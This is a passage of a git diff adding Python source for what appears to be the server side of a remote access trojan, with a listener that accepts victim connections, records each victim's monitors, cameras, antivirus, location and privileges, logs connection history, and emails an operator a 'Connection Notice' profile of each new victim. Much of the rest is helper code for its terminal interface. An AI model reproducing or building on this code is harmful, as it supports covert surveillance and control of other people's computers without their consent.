  for ip in blacklist: +          try: +            ip = socket.gethostbyname(ip) +          except Exception as err: +            write_error(err) + +          if addr[0] == ip: +            add_client = False + +      if not state['options']['validation']['duplicates']: +        for client_data_obj in state['sockets']['clients'][2]: +          if data['username'] == client_data_obj['username']: +            add_client = False +         +      if len(state['sockets']['clients'][0]) >= state['options']['validation']['max-clients']: +        add_client = False + +      if add_client: +        if state['options']['information-gathering']['history']: +          make_directories([data['username']]) +          with open(f'{state["root"]}/{data["username"]}/history.txt', 'a') as f: +            f.write(f'{data["username"]} connected at {get_timestamp()}\n') + +        data_list = (client, addr, data) +         +        if state['options']['information-gathering']['whoami']: +          make_directories([data['username']]) +          with open(f'{state["root"]}/{data["username"]}/whoami.txt', 'a') as f: +            title = f'Whoami at {get_timestamp()}' +            text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}' +            f.write(f'{title}\n{text}\n{"-" * len(title)}\n') + +        for index, item in enumerate(state['sockets']['clients']): +          item.append(data_list[index]) + +        if state['options']['notice']['email-notice']: +          send_email( +                    state['options']['notice']['email-data']['email'], +                    state['options']['notice']['email-data']['password'], +                    state['options']['notice']['email-data']['to'], +                    'Connection Notice!', +                    f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}') +      else: +        client.close() +    except Exception as err: +      write_error(err) + + +@error_exception_handling +def server(message): +  ip = validate_dict_key(message, 'ip') +  port = validate_dict_key(message, 'port') +  status = validate_dict_key(message, 'status') +  unbind = validate_dict_key(message, 'unbind') + +  if port and ip: +    if state['sockets']['server'] is None: +      threading.Thread(target=listening, args=(ip, port), daemon=True).start() +    else: +      ip, port = state['sockets']['server'].getsockname() +      status_message(f'You are already listening for clients on {ip}:{port}', 'danger', {'dots': True}) +  elif status: +    if state['sockets']['server']: +      ip, port = state['sockets']['server'].getsockname() +      status_message(f'You are listening for clients on {ip}:{port}', 'primary') +    else: +      status_message('You are not listening for clients', 'warning') +  elif unbind: +    if state['sockets']['server']: +      state['sockets']['server'].close() +      state['sockets']['server'] = None + +      for index, client in enumerate(state['sockets']['clients'][0]): +        delete_client(index, False) + +      status_message('You\'re no longer listening for clients\nServer socket is now closed', 'success') +    else: +      status_message(f'You\'re not listening for clients\nThere is no server socket to close', 'warning') +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/shell/stdout.py b/domestic/shell/stdout.py new file mode 100644 index 0000000..cceab86 --- /dev/null +++ b/domestic/shell/stdout.py @@ -0,0 +1,8 @@ +from domestic.utility.status_message import * + + +def stdout(low_message, message): +  if low_message == '': +    status_message(None, 'program') +  else: +    status_message(f'\'{message["message"]}\' command could not be found\nUse \'help\' command for assistance', 'warning')
\ No newline at end of file diff --git a/domestic/utility/delete_client.py b/domestic/utility/delete_client.py new file mode 100644 index 0000000..722a1e7 --- /dev/null +++ b/domestic/utility/delete_client.py @@ -0,0 +1,21 @@ +from domestic.utility.status_message import * +from domestic.utility.get_timestamp import * +from domestic.make.make_directories import * +from domestic.global_state import * + + +def delete_client(client, write_stdout=True): +  state['sockets']['clients'][0][client].close() +  state['sockets']['clients'][0][client] = None +   +  username = state['sockets']['clients'][2][client]['username'] +  if state['options']['information-gathering']['history']: +    make_directories([username]) +    with open(f'{state["root"]}/{username}/history.txt', 'a') as f: +      f.write(f'{username} disconnected at {get_timestamp()}\n') + +  for index, item in enumerate(state['sockets']['clients']): +    del state['sockets']['clients'][index][client] + +  if write_stdout: +    status_message('Client successfully deleted', 'success')
\ No newline at end of file diff --git a/domestic/utility/get_filename.py b/domestic/utility/get_filename.py new file mode 100644 index 0000000..ce70c0a --- /dev/null +++ b/domestic/utility/get_filename.py @@ -0,0 +1,5 @@ +import time + + +def get_filename(file_type): +  return time.strftime(f'%Y-%m-%d (%H-%M-%S).{file_type}')
\ No newline at end of file diff --git a/domestic/utility/get_io_channels.py b/domestic/utility/get_io_channels.py new file mode 100644 index 0000000..c5fa5e2 --- /dev/null +++ b/domestic/utility/get_io_channels.py @@ -0,0 +1,43 @@ +import pyaudio + +from domestic.global_state import * + + +def get_io_channels(): +  try: +    p = pyaudio.PyAudio() +    CHUNK = 81920 +    FORMAT = pyaudio.paInt16 +    RATE = 44100 +  except: +    pass +  else: +    try: +      stream = p.open(format=FORMAT, channels=2, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) +      stream.stop_stream() +      stream.close() +      state['settings']['io-channels'][0] = '2' +    except: +      try: +        stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) +        stream.stop_stream() +        stream.close() +        state['settings']['io-channels'][0] = '1' +      except: +        pass +       +    try:   +      stream = p.open(format=FORMAT, channels=2, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) +      stream.stop_stream() +      stream.close() +      state['settings']['io-channels'][1] = '2' +    except: +      try: +        stream = p.open(format=FORMAT, channels=1, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) +        stream.stop_stream() +        stream.close() +        state['settings']['io-channels'][1] = '1' +      except: +        pass + +    p.terminate()
\ No newline at end of file diff --git a/domestic/utility/get_timestamp.py b/domestic/utility/get_timestamp.py new file mode 100644 index 0000000..2d70d8f --- /dev/null +++ b/domestic/utility/get_timestamp.py @@ -0,0 +1,5 @@ +import time + + +def get_timestamp(): +  return time.strftime(f'%Y-%m-%d (%H-%M-%S)')
\ No newline at end of file diff --git a/domestic/utility/loading.py b/domestic/utility/loading.py new file mode 100644 index 0000000..39c3198 --- /dev/null +++ b/domestic/utility/loading.py @@ -0,0 +1,31 @@ +import threading +import time +import sys + +from domestic.utility.status_message import * +from domestic.global_state import * + + +def loading(text, blacklist): +  if state['settings']['loading-animation']: +    start_time = time.time() +     +    while True: +      for i in range(len(text)): +        if not state['settings']['dynamic']['is-loading']: +          sys.exit(0) +        if text[i].lower() in blacklist: +          continue +        text = text[:i].lower() + text[i:].capitalize() +        time_taken = time.time() - start_time +        status_message(f'[{time_taken:.1f}] {text}', 'loading', {'end': True}) +        time.sleep(0.1) +  else: +    status_message(text.capitalize(), 'loading', {'end': True}) + +def start_loading(text, blacklist=('.', ' ')): +  state['settings']['dynamic']['is-loading'] = True +  threading.Thread(target=loading, args=(text, blacklist), daemon=True).start() + +def stop_loading(): +  state['settings']['dynamic']['is-loading'] = False
\ No newline at end of file diff --git a/domestic/utility/program_setup.py b/domestic/utility/program_setup.py new file mode 100644 index 0000000..d14a6df --- /dev/null +++ b/domestic/utility/program_setup.py @@ -0,0 +1,38 @@ +import threading +import argparse + +from domestic.utility.get_io_channels import * +from domestic.modules.socket_handler import * +from domestic.utility.status_message import * +from domestic.utility.text_to_ascii import * +from domestic.session.session_queue import * +from domestic.utility.write_error import * +from domestic.global_state import * +from domestic.shell.server import * + + +def program_setup(): +  parser = argparse.ArgumentParser(description=state['description']) +  parser.add_argument('-ip', '--ipv4', default='localhost', help='IP of host.') +  parser.add_argument('-p', '--port', type=int, default=1200, help='Port of host.') +  args = parser.parse_args() + +  try: +    get_io_channels() +    threading.Thread(target=listening, args=(args.ipv4, str(args.port), False), daemon=True).start() +    for index, module in enumerate([*state['sockets']['modules']]): +      bind_socket(args.ipv4, str(args.port + (index + 1)), module, False) +  except Exception as err: +    write_error(err) +    status_message('Socket binding error, please verify IP / port argument', 'danger', {'end': True}) +    raise Exception('Argument parsing error') + +  threading.Thread(target=session_queue, daemon=True).start() +   +  status_message(text_to_ascii(state['name']), 'pure', {'end': True}) +  print() +  status_message(state['description'], 'pure', {'end': True}) +  print() +  status_message(state['author'], 'pure', {'end': True}) +  print() +  status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/utility/read_file.py b/domestic/utility/read_file.py new file mode 100644 index 0000000..7c9fcea --- /dev/null +++ b/domestic/utility/read_file.py @@ -0,0 +1,3 @@ +def read_file(location): +  with open(location, 'rb') as f: +    return f.read()
\ No newline at end of file diff --git a/domestic/utility/send_email.py b/domestic/utility/send_email.py new file mode 100644 index 0000000..4edfabf --- /dev/null +++ b/domestic/utility/send_email.py @@ -0,0 +1,12 @@ +import smtplib + + +def send_email(sender, sender_pw, recievers, subject, text): +  message = f'From: {sender}\nTo: {recievers}\nSubject: {subject}\n\n{text}' + +  server = smtplib.SMTP('smtp.gmail.com', 587) +  server.ehlo() +  server.starttls() +  server.login(sender, sender_pw) +  server.sendmail(sender, recievers, message) +  server.close()
\ No newline at end of file diff --git a/domestic/utility/status_message.py b/domestic/utility/status_message.py new file mode 100644 index 0000000..c8e4a32 --- /dev/null +++ b/domestic/utility/status_message.py @@ -0,0 +1,86 @@ +from colorama import init, Fore, Style +init() + +from domestic.utility.validate_dict_key import * +from domestic.global_state import * + + +def status_message(data, status, options={}): +  dots = validate_dict_key(options, 'dots') +  exclamation_point = validate_dict_key(options, 'point') +  end = validate_dict_key(options, 'end') +  custom = validate_dict_key(options, 'custom') +  session = state['session']['active'] +  username = state['session']['username'] +  name = state['name'] +  end_result = '' + +  if status == 'raw': +    print(f'{Fore.CYAN}{data}{Style.RESET_ALL}') +    return     + +  try: +    messages = [x for x in data.split('\n') if x != ''] +  except: +    messages = [None] + +  if exclamation_point == 'empty': +    exclamation_point = '' +  elif exclamation_point == 'dot': +    exclamation_point = '.' +  elif exclamation_point: +    exclamation_point = '!' +  elif status == 'success': +    exclamation_point = '!' +  else: +    exclamation_point = '.' + +  if dots: +    dots = '..' +  else: +    dots = '' + +  if end: +    end_result = '' +  else: +    end_result = f'\n{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}' + +  if custom: +    custom = f'\b{custom}' +  else: +    custom = '' + +  if session: +    if end: +      end_result = '' +    else: +      end_result = f'\n{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}' + +  for index, message in enumerate(messages): +    if index == 0 and session and state['settings']['loading']: +      print(' ' * 25, end='\r') + +    if status == 'success': +      print(f'{Fore.GREEN}[{Style.RESET_ALL}+{custom}{Fore.GREEN}]{Style.RESET_ALL} {Fore.GREEN}{message}{exclamation_point}{dots}{Style.RESET_ALL}') +    elif status == 'danger': +      print(f'{Fore.RED}[{Style.RESET_ALL}-{custom}{Fore.RED}]{Style.RESET_ALL} {Fore.RED}{message}{exclamation_point}{dots}{Style.RESET_ALL}') +    elif status == 'warning': +      print(f'{Fore.YELLOW}[{Style.RESET_ALL}!{custom}{Fore.YELLOW}]{Style.RESET_ALL} {Fore.YELLOW}{message}{exclamation_point}{dots}{Style.RESET_ALL}') +    elif status == 'primary': +      print(f'{Fore.BLUE}[{Style.RESET_ALL}i{custom}{Fore.BLUE}]{Style.RESET_ALL} {Fore.BLUE}{message}{exclamation_point}{dots}{Style.RESET_ALL}') +    elif status == 'magenta': +      print(f'{Fore.MAGENTA}[{Style.RESET_ALL}i{custom}{Fore.MAGENTA}]{Style.RESET_ALL} {Fore.MAGENTA}{message}{exclamation_point}{dots}{Style.RESET_ALL}') +    elif status == 'pure': +      print(f'{Fore.CYAN}{message}{Style.RESET_ALL}') +    elif status == 'loading': +      print(f'{Fore.CYAN}{message}{Style.RESET_ALL}', end='\r', flush=True) +    elif status == 'program': +      if session: +        print(f'{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}', end='') +      else: +        print(f'{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}', end='') +    else: +      raise Exception('Invalid color selection') +     +    if index == (len(messages) -1) and status != 'program': +      print(end=end_result)
\ No newline at end of file diff --git a/domestic/utility/text_to_ascii.py b/domestic/utility/text_to_ascii.py new file mode 100644 index 0000000..0b6d634 --- /dev/null +++ b/domestic/utility/text_to_ascii.py @@ -0,0 +1,17 @@ +import numpy + +from PIL import Image, ImageDraw, ImageFont + + +def text_to_ascii(text): +  myfont = ImageFont.truetype('arial.ttf', 18) +  size = myfont.getsize(text) +  img = Image.new('1', size, 'black') +  draw = ImageDraw.Draw(img) +  draw.text((0, 0), text, 'white', font=myfont) +  pixels = numpy.array(img, dtype=numpy.uint8) +  chars = numpy.array([' ', '%'], dtype='U1')[pixels] +  strings = [line for line in chars.view('U' + str(chars.shape[1])).flatten() if not line.isspace()] +  result = '\n'.join(strings) +   +  return result
\ No newline at end of file diff --git a/domestic/utility/text_to_image.py b/domestic/utility/text_to_image.py new file mode 100644 index 0000000..0adb304 --- /dev/null +++ b/domestic/utility/text_to_image.py @@ -0,0 +1,42 @@ +from PIL import ImageFont, Image, ImageDraw, ImageOps + +from domestic.utility.write_error import * + + +def text_to_image(text): +	PIXEL_ON = 255 +	PIXEL_OFF = 1 + +	grayscale = 'L' +	lines = tuple(l.rstrip() for l in text.split('\n')) + +	large_font = 40 +	font_path = 'cour.ttf' + +	try: +		font = ImageFont.truetype(font_path, size=large_font) +	except IOError as err: +		write_error(err) +		font = ImageFont.load_default() + +	pt2px = lambda pt: int(round(pt * 96.0 / 72)) +	max_width_line = max(lines, key=lambda s: font.getsize(s)[0]) +	test_string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +	max_height = pt2px(font.getsize(test_string)[1]) +	max_width = pt2px(font.getsize(max_width_line)[0]) +	height = max_height * len(lines) +	width = int(round(max_width + 40)) +	image = Image.new(grayscale, (width, height), color=PIXEL_OFF) +	draw = ImageDraw.Draw(image) + +	vertical_position = 5 +	horizontal_position = 5 +	line_spacing = int(round(max_height * 0.8)) + +	for line in lines: +		draw.text((horizontal_position, vertical_position), line, fill=PIXEL_ON, font=font) +		vertical_position += line_spacing +	c_box = ImageOps.invert(image).getbbox() +	image = image.crop(c_box) + +	return image
\ No newline at end of file diff --git a/domestic/utility/validate_dict_key.py b/domestic/utility/validate_dict_key.py new file mode 100644 index 0000000..18e246b --- /dev/null +++ b/domestic/utility/validate_dict_key.py @@ -0,0 +1,10 @@ +def validate_dict_key(dictionary, key, lower=True): +  try: +    if lower: +      return dictionary[key].lower() +    else: +      return dictionary[key]       +  except KeyError: +    return None +  except: +    return dictionary[key]
\ No newline at end of file diff --git a/domestic/utility/write_error.py b/domestic/utility/write_error.py new file mode 100644 index 0000000..a65b3bc --- /dev/null +++ b/domestic/utility/write_error.py @@ -0,0 +1,6 @@ +from domestic.global_state import * + + +def write_error(error): +  if state['settings']['debug']: +    print(f'Error: {error}')
\ No newline at end of file | 
